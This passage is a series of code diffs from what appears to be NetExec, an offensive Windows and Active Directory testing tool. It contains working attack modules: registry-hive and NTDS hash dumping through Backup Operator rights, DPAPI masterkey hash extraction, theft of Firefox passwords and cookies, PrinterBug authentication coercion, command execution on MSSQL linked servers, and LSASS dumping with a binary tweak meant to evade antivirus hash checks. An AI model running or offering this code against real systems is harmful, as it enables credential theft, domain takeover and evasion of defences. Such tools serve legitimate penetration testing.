seq_set_iter(reqBody, "additional-tickets", (myTicket,))
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
logging.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug("TGS_REP")
print(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
username = self.args.username[0]
log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info("Successfully authenticated using Certificate")
return True
+14 -25
View File
@@ -3,7 +3,6 @@ from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
@@ -22,10 +21,11 @@ def parse_debug_args():
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
@@ -35,34 +35,33 @@ def setup_debug_logging():
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
@@ -72,7 +71,7 @@ def no_debug(func):
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
@@ -81,7 +80,7 @@ def no_debug(func):
class NXCAdapter(logging.LoggerAdapter):
def __init__(self, extra=None):
def __init__(self, extra=None, merge_extra=False):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
@@ -90,11 +89,13 @@ class NXCAdapter(logging.LoggerAdapter):
rich_tracebacks=True,
tracebacks_show_locals=False
)],
encoding="utf-8"
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.merge_extra = merge_extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
@@ -173,7 +174,7 @@ class NXCAdapter(logging.LoggerAdapter):
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
@@ -181,7 +182,7 @@ class NXCAdapter(logging.LoggerAdapter):
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
with file_handler._open() as f:
if file_creation:
@@ -203,18 +204,6 @@ class NXCAdapter(logging.LoggerAdapter):
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
# initialize the logger for all of nxc - this is imported everywhere
+3 -3
View File
@@ -49,10 +49,10 @@ class NXCModule:
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
+143
View File
@@ -0,0 +1,143 @@
import time
import os
import datetime
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.paths import NXC_PATH
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
self.trigger_winreg(connection.conn, context)
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved {hive} to {outputFileName}")
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(str(e))
finally:
dce.disconnect()
# copy remote file to local
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
def trigger_winreg(self, connection, context):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = connection.connectTree("IPC$")
try:
connection.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
context.log.debug(str(e))
# Give remote registry time to start
time.sleep(1)
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
+66 -27
View File
@@ -1,4 +1,5 @@
from impacket.dcerpc.v5 import transport, rprn, even
from impacket import uuid
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -146,32 +147,36 @@ class NXCModule:
if self.method == "all" or self.method[:2] == "pr": # PrinterBug
runmethod = True
""" PRINTERBUG START """
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="spoolss"
)
pipes = ["spoolss", "[dcerpc]"]
for pipe in pipes:
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe=pipe
)
if printerbugconnect is not None:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss")
printerbugconnect.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
except Exception as e:
context.log.error(f"Error in PrinterBug module: {e}")
if printerbugconnect is not None:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
if not self.always_continue and exploit_status:
break
printerbugconnect.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
except Exception as e:
context.log.error(f"Error in PrinterBug module: {e}")
""" PRINTERBUG END """
if self.method == "all" or self.method[:1] == "m": # MSEven
@@ -752,15 +757,49 @@ class PrinterBugTrigger:
def __init__(self, context):
self.context = context
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = r"ncacn_ip_tcp:%s[135]" % target
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
self.context.log.debug(
"Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))
)
try:
dce.connect()
except Exception as e:
self.context.log.warning("Failed to connect to endpoint mapper: %s" % e)
raise e
try:
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
self.context.log.debug(
f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}"
)
return endpoint
except Exception as e:
self.context.log.debug(
"Failed to resolve dynamic endpoint %s"
% repr(uuid.bin_to_string(interface))
)
raise e
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
binding_params = {
"spoolss": {
"stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target,
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": 445
},
"[dcerpc]": {
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": None
}
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.set_dport(445)
if binding_params[pipe]["port"] is not None:
rpctransport.set_dport(binding_params[pipe]["port"])
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
+3 -3
View File
@@ -274,8 +274,8 @@ class NXCModule:
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
@@ -373,7 +373,7 @@ class NXCModule:
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchBase=_lookedup_principal,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
+63
View File
@@ -0,0 +1,63 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
+1 -4
View File
@@ -84,10 +84,7 @@ class NXCModule:
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
if "STATUS_ACCESS_DENIED" in str(e):
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
else:
context.log.fail(str(e))
context.log.fail(str(e))
def dump_results(self, results, context):
if not results:
+46
View File
@@ -0,0 +1,46 @@
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")
def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
+53
View File
@@ -0,0 +1,53 @@
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
def on_admin_login(self, context, connection):
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
+40
View File
@@ -0,0 +1,40 @@
class NXCModule:
"""
Enumerate SQL Server logins
Module by deathflamingo
"""
name = "enum_logins"
description = "Enumerate SQL Server logins"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.success("Logins found:")
for login in logins:
self.context.log.display(f" - {login}")
else:
self.context.log.fail("No logins found.")
def get_logins(self) -> list:
"""
Fetches a list of SQL Server logins.
Returns
-------
list: List of login names.
"""
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
res = self.mssql_conn.sql_query(query)
return [login["name"] for login in res] if res else []
def options(self, context, module_options):
pass
+1 -1
View File
@@ -21,7 +21,7 @@ class NXCModule:
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
+42
View File
@@ -0,0 +1,42 @@
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return
self.execute_on_link()
def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
+1 -1
View File
@@ -39,7 +39,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+21 -14
View File
@@ -1,5 +1,5 @@
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
@@ -16,10 +16,11 @@ class NXCModule:
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""Dump credentials from Firefox"""
"""COOKIES Get also Firefox cookies"""
self.gather_cookies = "COOKIES" in module_options
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -41,19 +42,25 @@ class NXCModule:
use_kcache=use_kcache,
)
def firefox_callback(secret):
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
context.db.add_dpapi_secrets(
target.address,
"FIREFOX",
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=context.log)
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
firefox_triage.run(gather_cookies=self.gather_cookies)
except Exception as e:
context.log.debug(f"Error while looting firefox: {e}")
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
+1 -1
View File
@@ -121,7 +121,7 @@ class NXCModule:
sfilter = "(DC=*)"
try:
list_sites = connection.ldapConnection.search(
list_sites = connection.ldap_connection.search(
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
+1 -1
View File
@@ -24,7 +24,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
+1 -1
View File
@@ -24,7 +24,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
+1 -1
View File
@@ -68,7 +68,7 @@ class NXCModule:
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+1 -1
View File
@@ -37,7 +37,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
+18 -10
View File
@@ -5,7 +5,7 @@
import base64
import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from pypykatz.pypykatz import pypykatz
@@ -34,6 +34,8 @@ class NXCModule:
self.handlekatz_path = "/tmp/"
self.dir_result = self.handlekatz_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -50,7 +52,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
try:
with open(handlekatz_loc, "wb") as handlekatz:
@@ -78,6 +80,7 @@ class NXCModule:
if not p or p == "None":
context.log.fail("Failed to execute command to get LSASS PID")
self.delete_handlekatz_binary(connection, context)
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@@ -96,12 +99,15 @@ class NXCModule:
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
if dump:
if not dump:
self.delete_handlekatz_binary(connection, context)
return
else:
regex = r"([A-Za-z0-9-]*\.log)"
